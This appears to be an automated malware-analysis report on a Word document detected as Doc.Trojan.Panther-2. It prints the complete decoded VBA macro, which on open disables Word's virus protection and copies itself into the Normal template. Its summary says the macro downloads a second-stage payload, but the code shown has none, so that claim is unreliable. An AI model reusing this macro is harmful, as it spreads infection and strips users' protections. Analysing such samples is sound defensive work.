Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 321dc9b28ea28151…

MALICIOUS

Office (OLE)

36.5 KB Created: 2004-09-16 13:49:00 Authoring application: Microsoft Word 10.1 First seen: 2017-12-24
MD5: d01700a4f203024b01f7d92284f404ba SHA-1: 4bfaeb80e584812f70ad9b0f47f05e488971d059 SHA-256: 321dc9b28ea2815183929d67e35f9e51ff3a5edae35c95fc4d5df32354a454af
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Panther-2. It contains a VBA macro that is triggered by the Document_Open event. This macro appears to be designed to download and execute a second-stage payload, although the exact download URL is obfuscated within the script's string manipulation.

Heuristics 3

  • ClamAV: Doc.Trojan.Panther-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Panther-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1604 bytes
SHA-256: 35152332ea840fcb8dd02a3ca2ee5f8b945f762a424aff22a4a0668729cc96ef
Detection
ClamAV: Doc.Trojan.Panther-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    Dim code As String
    If Left$(NormalTemplate.Name, 8) <> "Document" Then
        Options.VirusProtection = False
        With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
            code = .Lines(1, .CountOfLines)
            ReplaceTemplate code, "Normal", "Template", "Happy", "Panther"
            ReplaceTemplate code, "Active", "Document", "Normal", "Template"
            ReplaceTemplate code, "Happy", "Panther", "Active", "Document"
            With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
                .DeleteLines 1, .CountOfLines
                .AddFromString code
            End With
        End With
        Options.SaveNormalPrompt = False
        If InStr("NormalTemplate", "Document") > 0 Then
            
            NormalTemplate.Save
        End If
    End If
End Sub
Private Sub ReplaceTemplate(target As String, prepre As String, prepost As String, postpre As String, postpost As String)
    Dim index As Long, pre As String, post As String, preLen As Long
    
    pre = prepre + prepost
    post = postpre + postpost
    
    index = 1
    preLen = Len(pre)
    
    While InStr(index, target, pre) <> 0
        index = InStr(index, target, pre)
        target = Left(target, index - 1) + post + Mid$(target, index + preLen)
        index = index + 1
    Wend
End Sub

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